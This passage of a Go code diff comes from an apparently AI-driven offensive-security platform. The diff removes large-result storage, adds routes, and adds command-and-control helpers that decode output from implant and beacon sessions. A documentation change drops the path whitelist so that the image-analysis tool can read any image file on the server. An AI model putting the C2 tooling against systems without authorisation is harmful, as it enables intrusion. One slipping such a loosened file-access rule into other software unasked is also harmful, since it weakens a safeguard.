 | Markdown 子代理 / 主代理 | 在 `agents_dir` 下放 `*.md`。**子代理**：供 Deep `task` 与 `supervisor` `transfer`。**主代理（按模式分离）**：`orchestrator.md`（或 `kind: orchestrator` 的**单个**其他 .md）→ **Deep**；固定名 `orchestrator-plan-execute.md` → **plan_execute**；固定名 `orchestrator-supervisor.md` → **supervisor**。正文优先于 YAML：`multi_agent.orchestrator_instruction`、`orchestrator_instruction_plan_execute`、`orchestrator_instruction_supervisor`；plan_execute / supervisor **不会**回退到 Deep 的 `orchestrator_instruction`。皆空时 plan_execute / supervisor 使用代码内置默认提示。管理：**Agents → Agent管理**；API：`/api/multi-agent/markdown-agents*`。 |
 | MCP 桥 | `internal/einomcp`：`ToolsFromDefinitions` + 会话 ID 持有者，执行走 `Agent.ExecuteMCPToolForConversation`。 |
 | 编排 | `internal/multiagent/runner.go`：`deep.New` + 子 `ChatModelAgent` + `adk.NewRunner`（`EnableStreaming: true`，可选 `CheckPointStore`），事件映射为现有 SSE `tool_call` / `response_delta` 等。 |

docs/VISION.md

@@ -22,7 +22,6 @@ vision:
   skip_preprocess_below_bytes: 2097152  # 低于 2MB 且长边<=max_dimension 时原图直传；0=始终 JPEG 压缩
   detail: low          # low | high | auto
   timeout_seconds: 60
-  # allowed_roots: [] # 额外绝对路径根
 ```
 
 `enabled: false` 时不注册工具。
@@ -31,14 +30,9 @@ vision:
 
 **系统设置 → 基本设置 → 视觉分析（analyze_image）** 可配置启用开关、视觉模型、API Key/Base URL（留空复用 OpenAI）、预处理参数；**保存并应用** 后写入 `config.yaml` 并重新注册 MCP 工具。
 
-## 路径白名单
+## 路径
 
-默认可读：
-
-- 进程工作目录（`cwd`）及其子路径
-- `chat_uploads/`
-- `agent.result_storage_dir`（默认 `tmp/`）
-- `vision.allowed_roots` 中配置的绝对路径
+`analyze_image` 可读取服务器上任意可读的图片文件路径（绝对路径或相对于进程工作目录的相对路径）。仍校验图片扩展名与常规文件类型。
 
 ## Agent 使用
 

go.mod

@@ -17,6 +17,7 @@ require (
 	github.com/cloudwego/eino-ext/components/embedding/openai v0.0.0-20260427010451-749e3706378b
 	github.com/cloudwego/eino-ext/components/model/openai v0.1.13
 	github.com/creack/pty v1.1.24
+	github.com/disintegration/imaging v1.6.2
 	github.com/eino-contrib/jsonschema v1.0.3
 	github.com/gin-gonic/gin v1.9.1
 	github.com/google/uuid v1.6.0
@@ -49,7 +50,6 @@ require (
 	github.com/cenkalti/backoff/v4 v4.3.0 // indirect
 	github.com/cloudwego/base64x v0.1.6 // indirect
 	github.com/cloudwego/eino-ext/libs/acl/openai v0.1.17 // indirect
-	github.com/disintegration/imaging v1.6.2 // indirect
 	github.com/dlclark/regexp2 v1.10.0 // indirect
 	github.com/dustin/go-humanize v1.0.1 // indirect
 	github.com/evanphx/json-patch v0.5.2 // indirect

internal/agent/agent.go

@@ -18,7 +18,6 @@ import (
 	"cyberstrike-ai/internal/mcp"
 	"cyberstrike-ai/internal/mcp/builtin"
 	"cyberstrike-ai/internal/openai"
-	"cyberstrike-ai/internal/storage"
 
 	"go.uber.org/zap"
 )
@@ -32,8 +31,6 @@ type Agent struct {
 	externalMCPMgr        *mcp.ExternalMCPManager // 外部MCP管理器
 	logger                *zap.Logger
 	maxIterations         int
-	resultStorage         ResultStorage     // 结果存储
-	largeResultThreshold  int               // 大结果阈值（字节）
 	mu                    sync.RWMutex      // 添加互斥锁以支持并发更新
 	toolNameMapping       map[string]string // 工具名称映射：OpenAI格式 -> 原始格式（用于外部MCP工具）
 	currentConversationID string            // 当前对话ID（用于自动传递给工具）
@@ -41,18 +38,6 @@ type Agent struct {
 	toolDescriptionMode   string            // 工具描述模式: "short" | "full"，默认 short
 }
 
-// ResultStorage 结果存储接口（直接使用 storage 包的类型）
-type ResultStorage interface {
-	SaveResult(executionID string, toolName string, result string) error
-	GetResult(executionID string) (string, error)
-	GetResultPage(executionID string, page int, limit int) (*storage.ResultPage, error)
-	SearchResult(executionID string, keyword string, useRegex bool) ([]string, error)
-	FilterResult(executionID string, filter string, useRegex bool) ([]string, error)
-	GetResultMetadata(executionID string) (*storage.ResultMetadata, error)
-	GetResultPath(executionID string) string
-	DeleteResult(executionID string) error
-}
-
 type agentConversationIDKey struct{}
 
 func withAgentConversationID(ctx context.Context, id string) context.Context {
@@ -83,26 +68,6 @@ func NewAgent(cfg *config.OpenAIConfig, agentCfg *config.AgentConfig, mcpServer
 		maxIterations = 30
 	}
 
-	// 设置大结果阈值，默认50KB
-	largeResultThreshold := 50 * 1024
-	if agentCfg != nil && agentCfg.LargeResultThreshold > 0 {
-		largeResultThreshold = agentCfg.LargeResultThreshold
-	}
-
-	// 设置结果存储目录，默认tmp
-	resultStorageDir := "tmp"
-	if agentCfg != nil && agentCfg.ResultStorageDir != "" {
-		resultStorageDir = agentCfg.ResultStorageDir
-	}
-
-	// 初始化结果存储
-	var resultStorage ResultStorage
-	if resultStorageDir != "" {
-		// 导入storage包（避免循环依赖，使用接口）
-		// 这里需要在实际使用时初始化
-		// 暂时设为nil，在需要时初始化
-	}
-
 	// 配置HTTP Transport，优化连接管理和超时设置
 	transport := &http.Transport{
 		DialContext: (&net.Dialer{
@@ -133,20 +98,11 @@ func NewAgent(cfg *config.OpenAIConfig, agentCfg *config.AgentConfig, mcpServer
 		externalMCPMgr:       externalMCPMgr,
 		logger:               logger,
 		maxIterations:        maxIterations,
-		resultStorage:        resultStorage,
-		largeResultThreshold: largeResultThreshold,
 		toolNameMapping:      make(map[string]string), // 初始化工具名称映射
 		toolDescriptionMode:  "short",
 	}
 }
 
-// SetResultStorage 设置结果存储（用于避免循环依赖）
-func (a *Agent) SetResultStorage(storage ResultStorage) {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	a.resultStorage = storage
-}
-
 // SetPromptBaseDir 设置单代理 system_prompt_path 相对路径的基准目录（一般为 config.yaml 所在目录）。
 func (a *Agent) SetPromptBaseDir(dir string) {
 	a.mu.Lock()
@@ -663,46 +619,6 @@ func (a *Agent) executeToolViaMCP(ctx context.Context, toolName string, args map
 	}
 
 	resultStr := resultText.String()
-	resultSize := len(resultStr)
-
-	// 检测大结果并保存
-	a.mu.RLock()
-	threshold := a.largeResultThreshold
-	storage := a.resultStorage
-	a.mu.RUnlock()
-
-	if resultSize > threshold && storage != nil {
-		// 异步保存大结果
-		go func() {
-			if err := storage.SaveResult(executionID, toolName, resultStr); err != nil {
-				a.logger.Warn("保存大结果失败",
-					zap.String("executionID", executionID),
-					zap.String("toolName", toolName),
-					zap.Error(err),
-				)
-			} else {
-				a.logger.Info("大结果已保存",
-					zap.String("executionID", executionID),
-					zap.String("toolName", toolName),
-					zap.Int("size", resultSize),
-				)
-			}
-		}()
-
-		// 返回最小化通知
-		lines := strings.Split(resultStr, "\n")
-		filePath := ""
-		if storage != nil {
-			filePath = storage.GetResultPath(executionID)
-		}
-		notification := a.formatMinimalNotification(executionID, toolName, resultSize, len(lines), filePath)
-
-		return &ToolExecutionResult{
-			Result:      notification,
-			ExecutionID: executionID,
-			IsError:     result != nil && result.IsError,
-		}, nil
-	}
 
 	return &ToolExecutionResult{
 		Result:      resultStr,
@@ -711,57 +627,6 @@ func (a *Agent) executeToolViaMCP(ctx context.Context, toolName string, args map
 	}, nil
 }
 
-// formatMinimalNotification 格式化最小化通知
-func (a *Agent) formatMinimalNotification(executionID string, toolName string, size int, lineCount int, filePath string) string {
-	var sb strings.Builder
-
-	sb.WriteString(fmt.Sprintf("工具执行完成。结果已保存（ID: %s）。\n\n", executionID))
-	sb.WriteString("结果信息：\n")
-	sb.WriteString(fmt.Sprintf("  - 工具: %s\n", toolName))
-	sb.WriteString(fmt.Sprintf("  - 大小: %d 字节 (%.2f KB)\n", size, float64(size)/1024))
-	sb.WriteString(fmt.Sprintf("  - 行数: %d 行\n", lineCount))
-	if filePath != "" {
-		sb.WriteString(fmt.Sprintf("  - 文件路径: %s\n", filePath))
-	}
-	sb.WriteString("\n")
-	sb.WriteString("推荐使用 query_execution_result 工具查询完整结果：\n")
-	sb.WriteString(fmt.Sprintf("  - 查询第一页: query_execution_result(execution_id=\"%s\", page=1, limit=100)\n", executionID))
-	sb.WriteString(fmt.Sprintf("  - 搜索关键词: query_execution_result(execution_id=\"%s\", search=\"关键词\")\n", executionID))
-	sb.WriteString(fmt.Sprintf("  - 过滤条件: query_execution_result(execution_id=\"%s\", filter=\"error\")\n", executionID))
-	sb.WriteString(fmt.Sprintf("  - 正则匹配: query_execution_result(execution_id=\"%s\", search=\"\\\\d+\\\\.\\\\d+\\\\.\\\\d+\\\\.\\\\d+\", use_regex=true)\n", executionID))
-	sb.WriteString("\n")
-	if filePath != "" {
-		sb.WriteString("如果 query_execution_result 工具不满足需求，也可以使用其他工具处理文件：\n")
-		sb.WriteString("\n")
-		sb.WriteString("**分段读取示例：**\n")
-		sb.WriteString(fmt.Sprintf("  - 查看前100行: exec(command=\"head\", args=[\"-n\", \"100\", \"%s\"])\n", filePath))
-		sb.WriteString(fmt.Sprintf("  - 查看后100行: exec(command=\"tail\", args=[\"-n\", \"100\", \"%s\"])\n", filePath))
-		sb.WriteString(fmt.Sprintf("  - 查看第50-150行: exec(command=\"sed\", args=[\"-n\", \"50,150p\", \"%s\"])\n", filePath))
-		sb.WriteString("\n")
-		sb.WriteString("**搜索和正则匹配示例：**\n")
-		sb.WriteString(fmt.Sprintf("  - 搜索关键词: exec(command=\"grep\", args=[\"关键词\", \"%s\"])\n", filePath))
-		sb.WriteString(fmt.Sprintf("  - 正则匹配IP地址: exec(command=\"grep\", args=[\"-E\", \"\\\\d+\\\\.\\\\d+\\\\.\\\\d+\\\\.\\\\d+\", \"%s\"])\n", filePath))
-		sb.WriteString(fmt.Sprintf("  - 不区分大小写搜索: exec(command=\"grep\", args=[\"-i\", \"关键词\", \"%s\"])\n", filePath))
-		sb.WriteString(fmt.Sprintf("  - 显示匹配行号: exec(command=\"grep\", args=[\"-n\", \"关键词\", \"%s\"])\n", filePath))
-		sb.WriteString("\n")
-		sb.WriteString("**过滤和统计示例：**\n")
-		sb.WriteString(fmt.Sprintf("  - 统计总行数: exec(command=\"wc\", args=[\"-l\", \"%s\"])\n", filePath))
-		sb.WriteString(fmt.Sprintf("  - 过滤包含error的行: exec(command=\"grep\", args=[\"error\", \"%s\"])\n", filePath))
-		sb.WriteString(fmt.Sprintf("  - 排除空行: exec(command=\"grep\", args=[\"-v\", \"^$\", \"%s\"])\n", filePath))
-		sb.WriteString("\n")
-		sb.WriteString("**完整读取（不推荐大文件）：**\n")
-		sb.WriteString(fmt.Sprintf("  - 使用 cat 工具: cat(file=\"%s\")\n", filePath))
-		sb.WriteString(fmt.Sprintf("  - 使用 exec 工具: exec(command=\"cat\", args=[\"%s\"])\n", filePath))
-		sb.WriteString("\n")
-		sb.WriteString("**注意：**\n")
-		sb.WriteString("  - 直接读取大文件可能会再次触发大结果保存机制\n")
-		sb.WriteString("  - 建议优先使用分段读取和搜索功能，避免一次性加载整个文件\n")
-		sb.WriteString("  - 正则表达式语法遵循标准 POSIX 正则表达式规范\n")
-	}
-
-	return sb.String()
-}
-
 // UpdateConfig 更新OpenAI配置
 func (a *Agent) UpdateConfig(cfg *config.OpenAIConfig) {
 	a.mu.Lock()
@@ -923,6 +788,23 @@ func (a *Agent) RecordLocalToolExecution(toolName string, args map[string]interf
 	return a.mcpServer.RecordCompletedToolInvocation(toolName, args, resultText, invokeErr)
 }
 
+// UpdateMCPExecutionDisplayResult 将监控库中的工具结果更新为送入模型的展示正文（reduction 后）。
+func (a *Agent) UpdateMCPExecutionDisplayResult(executionID, resultText string) {
+	if a == nil || strings.TrimSpace(executionID) == "" {
+		return
+	}
+	text := resultText
+	if strings.TrimSpace(text) == "" {
+		text = "（无输出）"
+	}
+	tr := &mcp.ToolResult{
+		Content: []mcp.Content{{Type: "text", Text: text}},
+	}
+	if a.mcpServer != nil {
+		_ = a.mcpServer.UpdateToolExecutionResult(executionID, tr)
+	}
+}
+
 // CancelMCPToolExecutionWithNote 取消一次进行中的 MCP 工具（先内部后外部），与监控页「终止工具」一致；note 非空时合并进返回给模型的文本。
 func (a *Agent) CancelMCPToolExecutionWithNote(executionID, note string) bool {
 	executionID = strings.TrimSpace(executionID)

internal/agent/agent_test.go

@@ -1,21 +1,16 @@
 package agent
 
 import (
-	"os"
-	"path/filepath"
-	"strings"
 	"testing"
-	"time"
 
 	"cyberstrike-ai/internal/config"
 	"cyberstrike-ai/internal/mcp"
-	"cyberstrike-ai/internal/storage"
 
 	"go.uber.org/zap"
 )
 
 // setupTestAgent 创建测试用的Agent
-func setupTestAgent(t *testing.T) (*Agent, *storage.FileResultStorage) {
+func setupTestAgent(t *testing.T) *Agent {
 	logger := zap.NewNop()
 	mcpServer := mcp.NewServer(logger)
 
@@ -26,205 +21,10 @@ func setupTestAgent(t *testing.T) (*Agent, *storage.FileResultStorage) {
 	}
 
 	agentCfg := &config.AgentConfig{
-		MaxIterations:        10,
-		LargeResultThreshold: 100, // 设置较小的阈值便于测试
-		ResultStorageDir:     "",
+		MaxIterations: 10,
 	}
 
-	agent := NewAgent(openAICfg, agentCfg, mcpServer, nil, logger, 10)
-
-	// 创建测试存储
-	tmpDir := filepath.Join(os.TempDir(), "test_agent_storage_"+time.Now().Format("20060102_150405"))
-	testStorage, err := storage.NewFileResultStorage(tmpDir, logger)
-	if err != nil {
-		t.Fatalf("创建测试存储失败: %v", err)
-	}
-
-	agent.SetResultStorage(testStorage)
-
-	return agent, testStorage
-}
-
-func TestAgent_FormatMinimalNotification(t *testing.T) {
-	agent, testStorage := setupTestAgent(t)
-	_ = testStorage // 避免未使用变量警告
-
-	executionID := "test_exec_001"
-	toolName := "nmap_scan"
-	size := 50000
-	lineCount := 1000
-	filePath := "tmp/test_exec_001.txt"
-
-	notification := agent.formatMinimalNotification(executionID, toolName, size, lineCount, filePath)
-
-	// 验证通知包含必要信息
-	if !strings.Contains(notification, executionID) {
-		t.Errorf("通知中应该包含执行ID: %s", executionID)
-	}
-
-	if !strings.Contains(notification, toolName) {
-		t.Errorf("通知中应该包含工具名称: %s", toolName)
-	}
-
-	if !strings.Contains(notification, "50000") {
-		t.Errorf("通知中应该包含大小信息")
-	}
-
-	if !strings.Contains(notification, "1000") {
-		t.Errorf("通知中应该包含行数信息")
-	}
-
-	if !strings.Contains(notification, "query_execution_result") {
-		t.Errorf("通知中应该包含查询工具的使用说明")
-	}
-}
-
-func TestAgent_ExecuteToolViaMCP_LargeResult(t *testing.T) {
-	agent, _ := setupTestAgent(t)
-
-	// 创建模拟的MCP工具结果（大结果）
-	largeResult := &mcp.ToolResult{
-		Content: []mcp.Content{
-			{
-				Type: "text",
-				Text: strings.Repeat("This is a test line with some content.\n", 1000), // 约50KB
-			},
-		},
-		IsError: false,
-	}
-
-	// 模拟MCP服务器返回大结果
-	// 由于我们需要模拟CallTool的行为，这里需要创建一个mock或者使用实际的MCP服务器
-	// 为了简化测试，我们直接测试结果处理逻辑
-
-	// 设置阈值
-	agent.mu.Lock()
-	agent.largeResultThreshold = 1000 // 设置较小的阈值
-	agent.mu.Unlock()
-
-	// 创建执行ID
-	executionID := "test_exec_large_001"
-	toolName := "test_tool"
-
-	// 格式化结果
-	var resultText strings.Builder
-	for _, content := range largeResult.Content {
-		resultText.WriteString(content.Text)
-		resultText.WriteString("\n")
-	}
-
-	resultStr := resultText.String()
-	resultSize := len(resultStr)
-
-	// 检测大结果并保存
-	agent.mu.RLock()
-	threshold := agent.largeResultThreshold
-	storage := agent.resultStorage
-	agent.mu.RUnlock()
-
-	if resultSize > threshold && storage != nil {
-		// 保存大结果
-		err := storage.SaveResult(executionID, toolName, resultStr)
-		if err != nil {
-			t.Fatalf("保存大结果失败: %v", err)
-		}
-
-		// 生成通知
-		lines := strings.Split(resultStr, "\n")
-		filePath := storage.GetResultPath(executionID)
-		notification := agent.formatMinimalNotification(executionID, toolName, resultSize, len(lines), filePath)
-
-		// 验证通知格式
-		if !strings.Contains(notification, executionID) {
-			t.Errorf("通知中应该包含执行ID")
-		}
-
-		// 验证结果已保存
-		savedResult, err := storage.GetResult(executionID)
-		if err != nil {
-			t.Fatalf("获取保存的结果失败: %v", err)
-		}
-
-		if savedResult != resultStr {
-			t.Errorf("保存的结果与原始结果不匹配")
-		}
-	} else {
-		t.Fatal("大结果应该被检测到并保存")
-	}
-}
-
-func TestAgent_ExecuteToolViaMCP_SmallResult(t *testing.T) {
-	agent, _ := setupTestAgent(t)
-
-	// 创建小结果
-	smallResult := &mcp.ToolResult{
-		Content: []mcp.Content{
-			{
-				Type: "text",
-				Text: "Small result content",
-			},
-		},
-		IsError: false,
-	}
-
-	// 设置较大的阈值
-	agent.mu.Lock()
-	agent.largeResultThreshold = 100000 // 100KB
-	agent.mu.Unlock()
-
-	// 格式化结果
-	var resultText strings.Builder
-	for _, content := range smallResult.Content {
-		resultText.WriteString(content.Text)
-		resultText.WriteString("\n")
-	}
-
-	resultStr := resultText.String()
-	resultSize := len(resultStr)
-
-	// 检测大结果
-	agent.mu.RLock()
-	threshold := agent.largeResultThreshold
-	storage := agent.resultStorage
-	agent.mu.RUnlock()
-
-	if resultSize > threshold && storage != nil {
-		t.Fatal("小结果不应该被保存")
-	}
-
-	// 小结果应该直接返回
-	if resultSize <= threshold {
-		// 这是预期的行为
-		if resultStr == "" {
-			t.Fatal("小结果应该直接返回，不应该为空")
-		}
-	}
-}
-
-func TestAgent_SetResultStorage(t *testing.T) {
-	agent, _ := setupTestAgent(t)
-
-	// 创建新的存储
-	tmpDir := filepath.Join(os.TempDir(), "test_new_storage_"+time.Now().Format("20060102_150405"))
-	newStorage, err := storage.NewFileResultStorage(tmpDir, zap.NewNop())
-	if err != nil {
-		t.Fatalf("创建新存储失败: %v", err)
-	}
-
-	// 设置新存储
-	agent.SetResultStorage(newStorage)
-
-	// 验证存储已更新
-	agent.mu.RLock()
-	currentStorage := agent.resultStorage
-	agent.mu.RUnlock()
-
-	if currentStorage != newStorage {
-		t.Fatal("存储未正确更新")
-	}
-
-	// 清理
-	os.RemoveAll(tmpDir)
+	return NewAgent(openAICfg, agentCfg, mcpServer, nil, logger, 10)
 }
 
 func TestAgent_NewAgent_DefaultValues(t *testing.T) {
@@ -243,14 +43,6 @@ func TestAgent_NewAgent_DefaultValues(t *testing.T) {
 	if agent.maxIterations != 30 {
 		t.Errorf("默认迭代次数不匹配。期望: 30, 实际: %d", agent.maxIterations)
 	}
-
-	agent.mu.RLock()
-	threshold := agent.largeResultThreshold
-	agent.mu.RUnlock()
-
-	if threshold != 50*1024 {
-		t.Errorf("默认阈值不匹配。期望: %d, 实际: %d", 50*1024, threshold)
-	}
 }
 
 func TestAgent_NewAgent_CustomConfig(t *testing.T) {
@@ -264,9 +56,7 @@ func TestAgent_NewAgent_CustomConfig(t *testing.T) {
 	}
 
 	agentCfg := &config.AgentConfig{
-		MaxIterations:        20,
-		LargeResultThreshold: 100 * 1024, // 100KB
-		ResultStorageDir:     "custom_tmp",
+		MaxIterations: 20,
 	}
 
 	agent := NewAgent(openAICfg, agentCfg, mcpServer, nil, logger, 15)
@@ -274,12 +64,4 @@ func TestAgent_NewAgent_CustomConfig(t *testing.T) {
 	if agent.maxIterations != 15 {
 		t.Errorf("迭代次数不匹配。期望: 15, 实际: %d", agent.maxIterations)
 	}
-
-	agent.mu.RLock()
-	threshold := agent.largeResultThreshold
-	agent.mu.RUnlock()
-
-	if threshold != 100*1024 {
-		t.Errorf("阈值不匹配。期望: %d, 实际: %d", 100*1024, threshold)
-	}
 }

internal/app/app.go

@@ -28,7 +28,6 @@ import (
 	"cyberstrike-ai/internal/robot"
 	"cyberstrike-ai/internal/security"
 	"cyberstrike-ai/internal/skillpackage"
-	"cyberstrike-ai/internal/storage"
 
 	"github.com/gin-gonic/gin"
 	"github.com/google/uuid"
@@ -130,23 +129,6 @@ func New(cfg *config.Config, log *logger.Logger, configPath string) (*App, error
 		externalMCPMgr.StartAllEnabled()
 	}
 
-	// 初始化结果存储
-	resultStorageDir := "tmp"
-	if cfg.Agent.ResultStorageDir != "" {
-		resultStorageDir = cfg.Agent.ResultStorageDir
-	}
-
-	// 确保存储目录存在
-	if err := os.MkdirAll(resultStorageDir, 0755); err != nil {
-		return nil, fmt.Errorf("创建结果存储目录失败: %w", err)
-	}
-
-	// 创建结果存储实例
-	resultStorage, err := storage.NewFileResultStorage(resultStorageDir, log.Logger)
-	if err != nil {
-		return nil, fmt.Errorf("初始化结果存储失败: %w", err)
-	}
-
 	// 创建Agent
 	maxIterations := cfg.Agent.MaxIterations
 	if maxIterations <= 0 {
@@ -155,12 +137,6 @@ func New(cfg *config.Config, log *logger.Logger, configPath string) (*App, error
 	agent := agent.NewAgent(&cfg.OpenAI, &cfg.Agent, mcpServer, externalMCPMgr, log.Logger, maxIterations)
 	agent.UpdateToolDescriptionMode(cfg.Security.ToolDescriptionMode)
 
-	// 设置结果存储到Agent
-	agent.SetResultStorage(resultStorage)
-
-	// 设置结果存储到Executor（用于查询工具）
-	executor.SetResultStorage(resultStorage)
-
 	// 初始化知识库模块（如果启用）
 	var knowledgeManager *knowledge.Manager
 	var knowledgeRetriever *knowledge.Retriever
@@ -315,6 +291,14 @@ func New(cfg *config.Config, log *logger.Logger, configPath string) (*App, error
 	skillsDir := skillpackage.SkillsRootFromConfig(cfg.SkillsDir, configPath)
 	log.Logger.Info("Skills 目录（Eino ADK skill 中间件 + Web 管理 API）", zap.String("skillsDir", skillsDir))
 	configDir := filepath.Dir(configPath)
+	plantaskRel := strings.TrimSpace(cfg.MultiAgent.EinoMiddleware.PlantaskRelDir)
+	if plantaskRel == "" {
+		plantaskRel = ".eino/plantask"
+	}
+	plantaskBase := filepath.Join(skillsDir, plantaskRel)
+	// Match eino_adk_run_loop: checkpoint_dir is used as configured (relative to process CWD when not absolute).
+	checkpointBase := strings.TrimSpace(cfg.MultiAgent.EinoMiddleware.CheckpointDir)
+	db.SetEinoConversationDirs(plantaskBase, checkpointBase)
 	agent.SetPromptBaseDir(configDir)
 
 	agentsDir := cfg.AgentsDir
@@ -386,7 +370,7 @@ func New(cfg *config.Config, log *logger.Logger, configPath string) (*App, error
 	conversationHandler.SetAudit(auditSvc)
 	auditHandler := handler.NewAuditHandler(db, auditSvc, log.Logger)
 	robotHandler := handler.NewRobotHandler(cfg, db, agentHandler, log.Logger)
-	openAPIHandler := handler.NewOpenAPIHandler(db, log.Logger, resultStorage, conversationHandler, agentHandler)
+	openAPIHandler := handler.NewOpenAPIHandler(db, log.Logger, conversationHandler, agentHandler)
 
 	// 创建 App 实例（部分字段稍后填充）
 	app := &App{
@@ -880,6 +864,7 @@ func setupRoutes(
 		protected.DELETE("/monitor/execution/:id", monitorHandler.DeleteExecution)
 		protected.DELETE("/monitor/executions", monitorHandler.DeleteExecutions)
 		protected.GET("/monitor/stats", monitorHandler.GetStats)
+		protected.GET("/monitor/calls-timeline", monitorHandler.GetCallsTimeline)
 		protected.GET("/notifications/summary", notificationHandler.GetSummary)
 		protected.POST("/notifications/read", notificationHandler.MarkRead)
 
@@ -1065,6 +1050,7 @@ func setupRoutes(
 		// 漏洞管理
 		protected.GET("/vulnerabilities", vulnerabilityHandler.ListVulnerabilities)
 		protected.GET("/vulnerabilities/export", vulnerabilityHandler.ExportVulnerabilities)
+		protected.DELETE("/vulnerabilities/batch", vulnerabilityHandler.BatchDeleteVulnerabilities)
 		protected.GET("/vulnerabilities/filter-options", vulnerabilityHandler.GetVulnerabilityFilterOptions)
 		protected.GET("/vulnerabilities/stats", vulnerabilityHandler.GetVulnerabilityStats)
 		protected.GET("/vulnerabilities/:id", vulnerabilityHandler.GetVulnerability)
@@ -1073,6 +1059,7 @@ func setupRoutes(
 		protected.DELETE("/vulnerabilities/:id", vulnerabilityHandler.DeleteVulnerability)
 
 		// 项目管理与事实黑板
+		protected.GET("/projects/dashboard-summary", projectHandler.GetDashboardSummary)
 		protected.GET("/projects", projectHandler.ListProjects)
 		protected.POST("/projects", projectHandler.CreateProject)
 		protected.GET("/projects/:id/stats", projectHandler.GetProjectStats)
@@ -1081,8 +1068,6 @@ func setupRoutes(
 		protected.PUT("/projects/:id", projectHandler.UpdateProject)
 		protected.DELETE("/projects/:id", projectHandler.DeleteProject)
 		protected.GET("/projects/:id/facts", projectHandler.ListFacts)
-		protected.GET("/projects/:id/facts/:factId/previous-version", projectHandler.GetFactPreviousVersion)
-		protected.GET("/projects/:id/facts/:factId/versions", projectHandler.ListFactVersions)
 		protected.POST("/projects/:id/facts", projectHandler.CreateFact)
 		protected.PUT("/projects/:id/facts/:factId", projectHandler.UpdateFact)
 		protected.DELETE("/projects/:id/facts/:factId", projectHandler.DeleteFact)

internal/app/main_server_http_redirect.go

@@ -47,6 +47,24 @@ func (l *oneConnListener) Accept() (net.Conn, error) {
 func (l *oneConnListener) Close() error   { return nil }
 func (l *oneConnListener) Addr() net.Addr { return l.addr }
 
+// httpServerForTLSConn 从已有 Server 复制可服务字段，用于已握手 TLS 连接上的 HTTP 服务。
+// 不能复制整个 http.Server（内含 atomic/noCopy 字段）。
+func httpServerForTLSConn(src *http.Server) *http.Server {
+	return &http.Server{
+		Handler:                      src.Handler,
+		DisableGeneralOptionsHandler: src.DisableGeneralOptionsHandler,
+		ReadTimeout:                  src.ReadTimeout,
+		ReadHeaderTimeout:            src.ReadHeaderTimeout,
+		WriteTimeout:                 src.WriteTimeout,
+		IdleTimeout:                  src.IdleTimeout,
+		MaxHeaderBytes:               src.MaxHeaderBytes,
+		ConnState:                    src.ConnState,
+		ErrorLog:                     src.ErrorLog,
+		BaseContext:                  src.BaseContext,
+		ConnContext:                  src.ConnContext,
+	}
+}
+
 func isTLSHandshakeRecord(b byte) bool {
 	return b == 0x16
 }
@@ -172,8 +190,7 @@ func (m *mainServerMux) serveHTTPS(pc *peekedConn, localAddr net.Addr) {
 		}
 	}
 
-	plain := *srv
-	plain.TLSConfig = nil
+	plain := httpServerForTLSConn(srv)
 	ocl := &oneConnListener{conn: tlsConn, addr: localAddr}
 	if err := plain.Serve(ocl); err != nil && !errors.Is(err, net.ErrClosed) && !errors.Is(err, http.ErrServerClosed) {
 		m.logger.Debug("HTTPS 连接处理结束", zap.Error(err))

internal/app/vulnerability_tools.go

@@ -293,8 +293,8 @@ func registerListVulnerabilitiesTool(mcpServer *mcp.Server, db *database.DB, log
 				},
 				"status": map[string]interface{}{
 					"type":        "string",
-					"description": "按状态筛选：open、confirmed、fixed、false_positive",
-					"enum":        []string{"open", "confirmed", "fixed", "false_positive"},
+					"description": "按状态筛选：open、confirmed、fixed、false_positive、ignored",
+					"enum":        []string{"open", "confirmed", "fixed", "false_positive", "ignored"},
 				},
 				"q": map[string]interface{}{
 					"type":        "string",

internal/c2/console_encoding.go

@@ -0,0 +1,48 @@
+package c2
+
+import (
+	"encoding/base64"
+	"strings"
+	"unicode/utf8"
+
+	"golang.org/x/text/encoding/simplifiedchinese"
+	"golang.org/x/text/transform"
+)
+
+// NormalizeConsoleOutput 将 implant/Shell 原始控制台字节转为 UTF-8 文本。
+// osTag 来自会话的 os 字段（如 windows / Windows 10）；空值时按 auto 处理。
+func NormalizeConsoleOutput(raw []byte, osTag string) string {
+	if len(raw) == 0 {
+		return ""
+	}
+	osTag = strings.ToLower(strings.TrimSpace(osTag))
+	isWindows := strings.Contains(osTag, "windows")
+
+	if utf8.Valid(raw) {
+		return string(raw)
+	}
+	if isWindows {
+		if out, _, err := transform.Bytes(simplifiedchinese.GB18030.NewDecoder(), raw); err == nil {
+			return string(out)
+		}
+	}
+	// 非 Windows 或解码失败：GB18030 兜底（覆盖 GBK）
+	if out, _, err := transform.Bytes(simplifiedchinese.GB18030.NewDecoder(), raw); err == nil {
+		return string(out)
+	}
+	return string(raw)
+}
+
+// ResolveTaskResultText 合并 beacon 回传的 Output/OutputB64（及 Error/ErrorB64），按会话 OS 解码。
+func ResolveTaskResultText(plain, b64, sessionOS string) string {
+	if strings.TrimSpace(b64) != "" {
+		raw, err := base64.StdEncoding.DecodeString(strings.TrimSpace(b64))
+		if err == nil {
+			return NormalizeConsoleOutput(raw, sessionOS)
+		}
+	}
+	if plain == "" {
+		return ""
+	}
+	return NormalizeConsoleOutput([]byte(plain), sessionOS)
+}

internal/c2/console_encoding_test.go

@@ -0,0 +1,51 @@
+package c2
+
+import (
+	"encoding/base64"
+	"testing"
+
+	"golang.org/x/text/encoding/simplifiedchinese"
+	"golang.org/x/text/transform"
+)
+
+func mustGBK(t *testing.T, s string) []byte {
+	t.Helper()
+	out, _, err := transform.Bytes(simplifiedchinese.GBK.NewEncoder(), []byte(s))
+	if err != nil {
+		t.Fatal(err)
+	}
+	return out
+}
+
+func TestNormalizeConsoleOutput_WindowsGBK(t *testing.T) {
+	raw := mustGBK(t, "中文测试")
+	got := NormalizeConsoleOutput(raw, "windows")
+	if got != "中文测试" {
+		t.Fatalf("got %q want 中文测试", got)
+	}
+}
+
+func TestNormalizeConsoleOutput_UTF8Passthrough(t *testing.T) {
+	raw := []byte("hello 世界")
+	got := NormalizeConsoleOutput(raw, "linux")
+	if got != "hello 世界" {
+		t.Fatalf("got %q", got)
+	}
+}
+
+func TestResolveTaskResultText_PrefersB64(t *testing.T) {
+	raw := mustGBK(t, "采购订单")
+	b64 := base64.StdEncoding.EncodeToString(raw)
+	got := ResolveTaskResultText("", b64, "windows")
+	if got != "采购订单" {
+		t.Fatalf("got %q", got)
+	}
+}
+
+func TestResolveTaskResultText_PlainFallback(t *testing.T) {
+	raw := mustGBK(t, "测试")
+	got := ResolveTaskResultText(string(raw), "", "windows")
+	if got != "测试" {
+		t.Fatalf("got %q", got)
+	}
+}

internal/c2/listener_http.go

